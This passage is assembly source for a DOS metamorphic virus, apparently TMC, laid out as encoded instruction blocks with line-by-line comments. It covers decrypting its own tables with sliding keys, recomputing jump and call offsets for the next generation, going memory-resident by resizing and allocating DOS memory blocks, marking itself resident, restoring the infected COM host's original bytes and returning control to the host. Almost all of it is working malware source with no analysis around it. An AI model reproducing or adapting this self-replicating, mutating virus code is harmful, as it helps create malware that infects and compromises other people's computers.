bytes instruction cmp al,11101000b ; CALL; JMP; Data reference; Jcc? db 01110011b+10000000b ; Above or equal? Jump to exam_data_ dw 0bc4h ; Pointer to exam_data_ db 02h ; Two bytes instruction cmp al,10h ; Data? db 01110110b+10000000b ; Below or equal? Jump to sto_inst... dw 0bc3h ; Pointer to sto_instruc db 02h ; Two bytes instruction sub al,10h ; AL = length of data db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc3h ; Pointer to sto_instruc db 11101111b ; End of block sto_instruc db 11101110b ; Beginning of block dw 0bc3h ; Block identification of sto_inst... db 02h ; Two bytes instruction xor cx,cx ; Zero CX db 02h ; Two bytes instruction mov cl,al ; CL = length of instruction db 01h ; One byte instruction push di ; Save DI at stack db 02h ; Two bytes instruction mov di,bx ; DI = offset within next virus ge... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0beah ; Pointer to sto_ins_loo db 11101111b ; End of block sto_ins_loo db 11101110b ; Beginning of block dw 0beah ; Block identification of store_op... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 01h ; One byte instruction stosb ; Store byte of instruction db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to sto_ins_loo dw 0beah ; Pointer to sto_ins_loo db 02h ; Two bytes instruction mov bx,di ; BX = offset within next virus ge... db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_data_ db 11101110b ; Beginning of block dw 0bc4h ; Block identification of exam_data_ db 02h ; Two bytes instruction cmp al,11101101b ; Data reference? db 01110101b+10000000b ; Not equal? Jump to exam_bl___ dw 0bc5h ; Pointer to exam_bl___ db 01h ; One byte instruction push di ; Save DI at stack db 05h ; Five bytes instruction mov di,es:[08h] ; DI = offset within data information db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction stosw ; Store offset within next virus g... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[08h],di ; Store offset within data informa... db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_bl___ db 11101110b ; Beginning of block dw 0bc5h ; Block identification of exam_bl___ db 02h ; Two bytes instruction cmp al,11101110b ; Beginning of block? db 01110101b+10000000b ; Not equal? Jump to sto_call_jm_ dw 0bc7h ; Pointer to sto_call_jm_ db 01h ; One byte instruction push di ; Save DI at stack db 05h ; Five bytes instruction mov di,es:[04h] ; DI = offset within block informa... db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction stosw ; Store offset within next virus ge... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[04h],di ; Store offset within block inform... db 03h ; Three bytes instruction cmp ax,4c5h ; Block identification of tmc_table_? db 01110101b+10000000b ; Not equal? Jump to exam_messag dw 0bc6h ; Pointer to exam_messag db 01h ; One byte instruction push si ; Save SI at stack db 02h ; Two bytes instruction mov di,bx ; DI = offset within next virus ge... db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 03h ; Three bytes instruction mov cx,(code_end-first_table) db 02h ; Two bytes instruction rep movsb ; Move table to top of memory db 02h ; Two bytes instruction mov bx,di ; BX = offset within next virus ge... db 01h ; One byte instruction pop si ; Load SI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block exam_messag db 11101110b ; Beginning of block dw 0bc6h ; Block identification of exam_mes... db 03h ; Three bytes instruction cmp ax,2328h ; Block identification of message? db 01110101b+10000000b ; Not equal? Jump to exam_probab dw 0bedh ; Pointer to exam_probab db 03h ; Three bytes instruction mov ax,14h ; Probability of including message db 04h ; Four bytes instruction cmp [bp+1234h],ax ; Include message? db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01110011b+10000000b ; Above or equal? Jump to examine_... dw 0bebh ; Pointer to examine_nex db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction sub al,10h ; AL = length of message db 02h ; Two bytes instruction mov ah,00h ; Zero AH db 02h ; Two bytes instruction add si,ax ; SI = offset of end of message db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block exam_probab db 11101110b ; Beginning of block dw 0bedh ; Block identification of exam_pro... db 03h ; Three bytes instruction cmp ax,0bech ; Block identification of probabi...? db 01110101b+10000000b ; Not equal? Jump to examine_nex dw 0bebh ; Pointer to examine_nex db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = probability_ db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 01h ; One byte instruction dec ax ; Decrease probability db 03h ; Three bytes instruction cmp ax,05h ; Probability too small? db 01110011b+10000000b ; Above or equal? Jump to store_pr... dw 0bf5h ; Pointer to store_proba db 03h ; Three bytes instruction mov ax,64h ; Reset probability db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bf5h ; Pointer to store_proba db 11101111b ; End of block store_proba db 11101110b ; Beginning of block dw 0bf5h ; Block identification of store_pr... db 03h ; Three bytes instruction mov es:[bx],ax ; Store probability db 03h ; Three bytes instruction add bx,02h ; Add two to offset within next vi... db 03h ; Three bytes instruction add si,03h ; SI = offset of beginning of next... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bebh ; Pointer to examine_nex db 11101111b ; End of block examine_nex db 11101110b ; Beginning of block dw 0bebh ; Block identification of examine_... db 01h ; One byte instruction pop di ; Load DI from stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc2h ; Pointer to exam_bl__ db 11101111b ; End of block sto_call_jm_ db 11101110b ; Beginning of block dw 0bc7h ; Block identification of sto_call... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push di ; Save DI at stack db 05h ; Five bytes instruction mov di,es:[06h] ; DI = offset within CALL; JMP; Jc... db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction stosw ; Store offset within next virus g... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be1h ; Pointer to decrypt_id_ db 01h ; One byte instruction stosw ; Store block identification db 05h ; Five bytes instruction mov es:[06h],di ; Store offset within CALL; JMP; J... db 01h ; One byte instruction pop di ; Load DI from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 03h ; Three bytes instruction mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc... db 03h ; Three bytes instruction add bx,03h ; Add three to offset within next ... db 02h ; Two bytes instruction cmp al,11110000b ; Jump condition? db 01110010b+10000000b ; Below? Jump to exam_bl_ dw 0bc1h ; Pointer to exam_bl_ db 01h ; One byte instruction inc bx ; Increase offset within next viru... db 01h ; One byte instruction inc bx ; Increase offset within next viru... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block split_bloc_ db 11101110b ; Beginning of block dw 0bc8h ; Block identification of split_bloc_ db 04h ; Four bytes instruction mov es:[di+02h],bx ; Store offset within next virus g... db 03h ; Three bytes instruction add bx,03h ; Add three to offset within next ... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc9h ; Pointer to end_of_bloc db 11101111b ; End of block end_of_bloc db 11101110b ; Beginning of block dw 0bc9h ; Block identification of end_of_b... db 01h ; One byte instruction dec si ; Decrease offset of block within ... db 03h ; Three bytes instruction mov es:[di],si ; Store offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbdh ; Pointer to split_bloc db 11101111b ; End of block exam_tbl_in db 11101110b ; Beginning of block dw 0bcah ; Block identification of exam_tbl... db 06h ; Six bytes instruction cmp word ptr es:[0ch],00h db 01110101b+10000000b ; End of second table? Jump to cor... dw 0fa1h ; Pointer to correc_i16 db 01h ; One byte instruction pop si ; Load SI from stack db 05h ; Five bytes instruction mov es:[0ch],bx ; Store offset within next virus g... db 04h ; Four bytes instruction add si,(second_table-first_table) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fa0h ; Pointer to initial_tmc_ db 11101111b ; End of block correc_i16 db 11101110b ; Beginning of block dw 0fa1h ; Block identification of correc_i16 db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction pop ds ; Load DS from stack (ES) db 04h ; Four bytes instruction sub bx,4000h ; Subtract offset of next virus ge... db 04h ; Four bytes instruction mov ds:[0eh],bx ; Store length of virus db 03h ; Three bytes instruction mov si,2000h ; SI = offset of CALL; JMP; Jcc im... db 04h ; Four bytes instruction mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of CALL; JMP; Jc... db 02h ; Two bytes instruction shr cx,01h ; Divide number of CALL imm16; JMP... db 02h ; Two bytes instruction shr cx,01h ; Divide number of CALL imm16; JMP... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcbh ; Pointer to jmp_call_lo db 11101111b ; End of block jmp_call_lo db 11101110b ; Beginning of block dw 0bcbh ; Block identification of jmp_call... db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov si,1000h ; SI = offset of block information db 04h ; Four bytes instruction mov cx,ds:[04h] ; CX = offset of end of block info... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of block informa... db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcch ; Pointer to find_block__ db 11101111b ; End of block find_block__ db 11101110b ; Beginning of block dw 0bcch ; Block identification of find_blo... db 03h ; Three bytes instruction cmp ax,[si+02h] ; Found block? db 01110100b+10000000b ; Equal? Jump to found_bloc dw 0bcdh ; Pointer to found_bloc db 03h ; Three bytes instruction add si,04h ; SI = offset of next block in table db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to find_block__ dw 0bcch ; Pointer to find_block__ db 11101111b ; End of block found_bloc db 11101110b ; Beginning of block dw 0bcdh ; Block identification of found_bloc db 02h ; Two bytes instruction mov dx,[si] ; DX = offset of block db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack (AX) db 02h ; Two bytes instruction mov al,[bx] ; AL = first byte of instruction db 02h ; Two bytes instruction cmp al,11110000b ; Jump condition? db 01110010b+10000000b ; Below? Jump to sto_call_j dw 0bcfh ; Pointer to sto_call_j db 03h ; Three bytes instruction sub byte ptr [bx],10000000b db 01h ; One byte instruction inc bx ; BX = offset of 8-bit immediate db 01h ; One byte instruction push dx ; Save DX at stack db 02h ; Two bytes instruction sub dx,bx ; Subtract offset within next viru... db 01h ; One byte instruction dec dx ; Decrease 8-bit immediate db 03h ; Three bytes instruction cmp dx,7fh ; 8-bit immediate out of range? db 01111111b+10000000b ; Greater? Jump to invert_jcc_ dw 0bceh ; Pointer to invert_jcc_ db 03h ; Three bytes instruction cmp dx,0ff80h ; 8-bit immediate out of range? db 01111100b+10000000b ; Less? Jump to invert_jcc_ dw 0bceh ; Pointer to invert_jcc_ db 02h ; Two bytes instruction mov [bx],dl ; Store 8-bit immediate db 01h ; One byte instruction inc bx ; BX = offset of end of Jcc imm8 db 04h ; Four bytes instruction mov [bx],1001000010010000b db 04h ; Four bytes instruction mov byte ptr [bx+02h],10010000b db 01h ; One byte instruction pop dx ; Load DX from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd0h ; Pointer to correc_i16_ db 11101111b ; End of block invert_jcc_ db 11101110b ; Beginning of block dw 0bceh ; Block identification of invert_jcc_ db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction dec bx ; BX = offset of Jcc imm8 db 03h ; Three bytes instruction xor byte ptr [bx],00000001b db 01h ; One byte instruction inc bx ; BX = offset of 8-bit immediate db 03h ; Three bytes instruction mov byte ptr [bx],03h ; Store 8-bit immediate db 01h ; One byte instruction inc bx ; BX = offset of JMP imm16 db 02h ; Two bytes instruction mov al,11101001b ; JMP imm16 (opcode 0e9h) db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcfh ; Pointer to sto_call_j db 11101111b ; End of block sto_call_j db 11101110b ; Beginning of block dw 0bcfh ; Block identification of sto_call... db 02h ; Two bytes instruction mov [bx],al ; Store CALL imm16; JMP imm16 db 01h ; One byte instruction inc bx ; BX = offset of 16-bit immediate db 02h ; Two bytes instruction sub dx,bx ; Subtract offset within next viru... db 01h ; One byte instruction dec dx ; Decrease 16-bit immediate db 01h ; One byte instruction dec dx ; Decrease 16-bit immediate db 02h ; Two bytes instruction mov [bx],dx ; Store 16-bit immediate db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd0h ; Pointer to correc_i16_ db 11101111b ; End of block correc_i16_ db 11101110b ; Beginning of block dw 0bd0h ; Block identification of correc_... db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to jmp_call_lo dw 0bcbh ; Pointer to jmp_call_lo db 03h ; Three bytes instruction mov si,3000h ; SI = offset of data information db 04h ; Four bytes instruction mov cx,ds:[08h] ; CX = offset of end of data infor... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of data informat... db 02h ; Two bytes instruction shr cx,01h ; Divide number of data references... db 02h ; Two bytes instruction shr cx,01h ; Divide number of data references... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd1h ; Pointer to data_ref_lo db 11101111b ; End of block data_ref_lo db 11101110b ; Beginning of block dw 0bd1h ; Block identification of data_ref_lo db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction lodsw ; AX = offset of block within data... db 01h ; One byte instruction push cx ; Save CX at stack db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov si,1000h ; SI = offset of block information db 04h ; Four bytes instruction mov cx,ds:[04h] ; CX = offset of end of block info... db 02h ; Two bytes instruction sub cx,si ; Subtract offset of block informa... db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 02h ; Two bytes instruction shr cx,01h ; Divide number of block by two db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bd2h ; Pointer to find_bloc db 11101111b ; End of block find_bloc db 11101110b ; Beginning of block dw 0bd2h ; Block identification to find_bloc db 03h ; Three bytes instruction cmp ax,[si+02h] ; Found block? db 01110100b+10000000b ; Equal? Jump to found_bloc_ dw 0bd3h ; Pointer to found_bloc_ db 03h ; Three bytes instruction add si,04h ; SI = offset of next block in table db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to find_bloc dw 0bd2h ; Pointer to find_bloc db 11101111b ; End of block found_bloc_ db 11101110b ; Beginning of block dw 0bd3h ; Block identification of found_bloc_ db 02h ; Two bytes instruction mov ax,[si] ; AX = offset of block db 01h ; One byte instruction pop si ; Load SI from stack db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction pop bx ; Load BX from stack (AX) db 03h ; Three bytes instruction sub ax,4000h ; Subtract offset of next virus ge... db 02h ; Two bytes instruction mov [bx],ax ; Store 16-bit immediate db 01h ; One byte instruction dec cx ; Decrease counter db 01110101b+10000000b ; Not zero? Jump to data_ref_lo dw 0bd1h ; Pointer to data_ref_lo db 11101001b ; JMP imm16 (opcode 0e9h) dw 1772h ; Pointer to restore_cod db 11101111b ; End of block restore_cod db 11101110b ; Beginning of block dw 1772h ; Block identification of restore_... db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = segment of PSP for current ... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial SS relative to star... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial SS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial SP at stack db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial CS relative to star... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial CS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial IP at stack db 11101101b ; Data reference dw 138bh ; Pointer to initial_ip_ db 01h ; One byte instruction push ax ; Save segment of PSP for current ... db 04h ; Four bytes instruction push [bp+1234h] ; Save size of memory block in par... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 01h ; One byte instruction push ds ; Save DS at stack db 02h ; Two bytes instruction mov cl,00h ; COM executable db 04h ; Four bytes instruction cmp [bp+1234h],cl ; COM executable? db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 01110101b+10000000b ; Not equal? Jump to move_virus__ dw 1390h ; Pointer to move_virus__ db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 03h ; Three bytes instruction mov ax,cs:[si] ; AX = first two bytes of original... db 04h ; Four bytes instruction mov cs:[100h],ax ; Store first two bytes of origina... db 04h ; Four bytes instruction mov al,cs:[si+02h] ; AL = last byte of original code ... db 04h ; Four bytes instruction mov cs:[100h+02h],al ; Store last byte of original code... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1390h ; Pointer to move_virus__ db 11101111b ; End of block db 11101110b ; Beginning of block dw 1774h db 04h ; Four bytes instruction mov ax,[bp+1234h] ; AX = segment of PSP for current ... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial SS relative to star... db 11101101b ; Data reference dw 138ah ; Pointer to initial_ss_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial SS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save initial SP at stack db 11101101b ; Data reference dw 138ch ; Pointer to initial_sp_ db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = initial CS relative to star... db 11101101b ; Data reference dw 1389h ; Pointer to initial_cs_ db 03h ; Three bytes instruction add cx,10h ; Add ten to initial CS relative t... db 02h ; Two bytes instruction add cx,ax ; Add segment of PSP for current p... db 01h ; One byte instruction push cx ; Save CX at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save incorrect IP at stack db 11101101b ; Data reference dw 1773h ; Pointer to incorrec_ip db 01h ; One byte instruction push ax ; Save segment of PSP for current ... db 04h ; Four bytes instruction push [bp+1234h] ; Save size of memory block in par... db 11101101b ; Data reference dw 1395h ; Pointer to mcb_size__ db 01h ; One byte instruction push ds ; Save DS at stack db 02h ; Two bytes instruction mov cl,00h ; COM executable db 04h ; Four bytes instruction cmp [bp+1234h],cl ; COM executable? db 11101101b ; Data reference dw 1388h ; Pointer to executa_sta db 01110101b+10000000b ; Not equal? Jump to move_virus__ dw 1390h ; Pointer to move_virus__ db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of origin_code_ db 11101101b ; Data reference dw 1f40h ; Pointer to origin_code_ db 03h ; Three bytes instruction mov ax,cs:[si] ; AX = first two bytes of original... db 04h ; Four bytes instruction mov cs:[100h],ax ; Store first two bytes of origina... db 04h ; Four bytes instruction mov al,cs:[si+02h] ; AX = last byte of original code ... db 04h ; Four bytes instruction mov cs:[100h+02h],al ; Store last byte of original code... db 11101001b ; JMP imm16 (opcode 0e9h) dw 1390h ; Pointer to move_virus__ db 11101111b ; End of block move_virus__ db 11101110b ; Beginning of block dw 1390h ; Block identification of move_vir... db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 02h ; Two bytes instruction mov ds,ax ; DS = segment of DOS communicatio... db 05h ; Five bytes instruction cmp byte ptr ds:[501h],10h db 01110100b+10000000b ; Already resident? Jump to virus_... dw 65h ; Pointer to virus_exit_ db 05h ; Five bytes instruction mov byte ptr ds:[501h],10h db 01h ; One byte instruction push es ; Save ES at stack db 01h ; One byte instruction pop ds ; Load DS from stack (ES) db 03h ; Three bytes instruction mov ax,ds:[0ch] ; AX = offset within next virus ge... db 03h ; Three bytes instruction sub ax,4000h ; Subtract offset of next virus ge... db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store offset of crypt_table db 11101101b ; Data reference dw 0bf1h ; Pointer to vir_exit_of db 04h ; Four bytes instruction mov cx,ds:[0eh] ; CX = length of virus db 04h ; Four bytes instruction mov [bp+1234h],cx ; Store length of virus db 11101101b ; Data reference dw 0bf0h ; Pointer to virus_lengt db 03h ; Three bytes instruction mov si,4000h ; SI = offset of next virus genera... db 02h ; Two bytes instruction xor di,di ; Zero DI db 02h ; Two bytes instruction rep movsb ; Move virus to top of memory db 02h ; Two bytes instruction mov cl,04h ; Divide by paragraphs db 02h ; Two bytes instruction shr di,cl ; DI = length of next virus genera... db 01h ; One byte instruction inc di ; Increase length of next virus ge... db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = size of memory block in par... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction sub bx,[bp+1234h] ; Subtract new size in paragraphs ... db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction sub bx,di ; Subtract length of next virus ge... db 01h ; One byte instruction dec bx ; Decrease new size in paragraphs db 01h ; One byte instruction dec bx ; Decrease new size in paragraphs db 02h ; Two bytes instruction cmp bx,di ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 02h ; Two bytes instruction mov bx,di ; BX = number of paragraphs to all... db 02h ; Two bytes instruction mov ah,48h ; Allocate memory db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to virus_exit_ dw 65h ; Pointer to virus_exit_ db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction dec ax ; AX = segment of current Memory C... db 02h ; Two bytes instruction mov es,ax ; ES = segment of current Memory C... db 07h ; Seven bytes instruction mov word ptr es:[01h],08h db 01h ; One byte instruction pop es ; Load ES from stack (AX) db 04h ; Four bytes instruction mov cx,[bp+1234h] ; CX = length of virus db 11101101b ; Data reference dw 0bf0h ; Pointer to virus_lengt db 02h ; Two bytes instruction xor si,si ; Zero SI db 02h ; Two bytes instruction xor di,di ; Zero DI db 02h ; Two bytes instruction rep movsb ; Move virus to top of memory db 01h ; One byte instruction push es ; Save ES at stack db 04h ; Four bytes instruction push [bp+1234h] ; Save offset of virus_exit_ at stack db 11101101b ; Data reference dw 0bf1h ; Pointer to vir_exit_of db 04h ; Four bytes instruction mov al,[bp+1234h] ; AL = 8-bit encryption/decryption... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 04h ; Four bytes instruction mov ah,[bp+1234h] ; AH = 8-bit sliding encrytion/dec... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 01h ; One byte instruction retf ; Return far db 11101111b ; End of block terminate_ db 11101110b ; Beginning of block dw 0beeh ; Block identification of terminate_ db 03h ; Three bytes instruction mov ax,4c00h ; Terminate with return code db 02h ; Two bytes instruction int 21h db 11101111b ; End of block get_rnd_num_ db 11101110b ; Beginning of block dw 0bd4h ; Block identification of get_rnd_... db 01h ; One byte instruction push cx ; Save CX at stack db 02h ; Two bytes instruction in al,40h ; AL = 8-bit random number db 02h ; Two bytes instruction mov ah,al ; AH = 8-bit random number db 02h ; Two bytes instruction in al,40h ; AL = 8-bit random number db 05h ; Five bytes instruction xor ax,es:[01h] ; AX = 16-bit random number db 02h ; Two bytes instruction mov cl,ah ; CL = high-order byte of 16-bit r... db 02h ; Two bytes instruction rol ax,cl ; AX = 16-bit random number db 04h ; Four bytes instruction mov es:[01h],ax ; Store 16-bit random number db 01h ; One byte instruction pop cx ; Load CX from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block rnd_in_rang db 11101110b ; Beginning of block dw 0bd5h ; Block identification of rnd_in_rang db 02h ; Two bytes instruction or bp,bp ; Zero BP? db 01110100b+10000000b ; Zero? Jump to zero_range_ dw 0bd6h ; Pointer to zero_range_ db 01h ; One byte instruction push dx ; Save DX at stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd4h ; Pointer to get_rnd_num_ db 02h ; Two bytes instruction xor dx,dx ; Zero DX db 02h ; Two bytes instruction div bp ; DX = random number within range db 01h ; One byte instruction xchg ax,dx ; AX = random number within range db 01h ; One byte instruction pop dx ; Load DX from stack db 01h ; One byte instruction ret ; Return db 11101111b ; End of block zero_range_ db 11101110b ; Beginning of block dw 0bd6h ; Block identification of zero_range_ db 02h ; Two bytes instruction xor ax,ax ; AX = random number within range db 01h ; One byte instruction ret ; Return db 11101111b ; End of block decrypt_byt db 11101110b ; Beginning of block dw 0be0h ; Block identification of decrypt_byt db 04h ; Four bytes instruction mov [bp+1234h],ah ; Store AH db 11101101b ; Data reference dw 0bd9h ; Pointer to ah__ db 02h ; Two bytes instruction mov ax,si ; AX = offset within table db 02h ; Two bytes instruction sub ax,bp ; Subtract delta offset from offse... db 03h ; Three bytes instruction sub ax,1234h ; Subtract offset of tmc_table_ fr... db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 04h ; Four bytes instruction mul word ptr [bp+1234h] ; AL = 8-bit sliding encryptio... db 11101101b ; Data reference dw 0bd8h ; Pointer to sliding_key_ db 04h ; Four bytes instruction add al,[bp+1234h] ; AL = 8-bit encryption/decryption... db 11101101b ; Data reference dw 0bd7h ; Pointer to crypt_key_ db 02h ; Two bytes instruction xor al,[si] ; AL = byte of decrypted table db 04h ; Four bytes instruction mov ah,[bp+1234h] ; AH = stored AH db 11101101b ; Data reference dw 0bd9h ; Pointer to ah__ db 01h ; One byte instruction inc si ; Increase offset within table db 01h ; One byte instruction ret ; Return db 11101111b ; End of block decrypt_id_ db 11101110b ; Beginning of block dw 0be1h ; Block identification of decrypt_id_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction mov ah,al ; AL = byte of decrypted table db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction xchg al,ah ; AL = byte of decrypted table db 01h ; One byte instruction ret ; Return db 11101111b ; End of block virus_exit_ db 11101110b ; Beginning of block dw 65h ; Block identification of virus_exit_ db 01h ; One byte instruction pop es ; Load ES from stack db 02h ; Two bytes instruction mov ah,49h ; Free memory db 02h ; Two bytes instruction int 21h db 01h ; One byte instruction pop bx ; Load BX from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 02h ; Two bytes instruction mov ds,ax ; DS = segment of PSP for current ... db 02h ; Two bytes instruction mov es,ax ; DS = segment of PSP for current ... db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 04h ; Four bytes instruction lea bx,[bp+1234h] ; BX = offset of jmp_imm32_ db 11101101b ; Data reference dw 1391h ; Pointer of jmp_imm32_ db 01h ; One byte instruction pop ax ; Load AX from stack (initial IP) db 04h ; Four bytes instruction mov cs:[bx+01h],ax ; Store initial IP db 01h ; One byte instruction pop ax ; Load AX from stack (initial CS ...) db 04h ; Four bytes instruction mov cs:[bx+03h],ax ; Store initial CS relative to sta... db 01h ; One byte instruction pop ax ; Load AX from stack (initial SP) db 01h ; One byte instruction pop ss ; Load SS from stack (initial SS ...) db 02h ; Two bytes instruction mov sp,ax ; SP = stack pointer db 11101001b ; JMP imm16 (opcode 0e9h) dw 1391h ; Pointer of jmp_imm32_ db 11101111b ; End of block jmp_imm32_ db 11101110b ; Beginning of block dw 1391h ; Block identification of jmp_imm32_ db 05h+10h ; Five bytes data db 11101010b ; JMP imm32 (opcode 0eah) dd 00h ; Pointer to virus in top of memory db 11101111b ; End of block ah__ db 11101110b ; Beginning of block dw 0bd9h ; Block identification of ah__ db 01h+10h ; One byte data db 00h ; Accumulator register (high-orde...) db 11101111b ; End of block probability_ db 11101110b ; Beginning of block dw 0bech ; Block identification of probabil... db 02h+10h ; Two bytes data dw 32h ; Probability db 11101111b ; End of block crypt_key_ db 11101110b ; Beginning of block dw 0bd7h ; Block identification of crypt_key_ db 01h+10h ; One byte data db 00h ; 8-bit encryption/decryption key db 11101111b ; End of block sliding_key_ db 11101110b ; Beginning of block dw 0bd8h ; Block identification of sliding_... db 02h+10h ; Two bytes data dw 00h ; 8-bit sliding encryption/decrypt... db 11101111b ; End of block executa_sta db 11101110b ; Beginning of block dw 1388h ; Block identification of executa_sta db 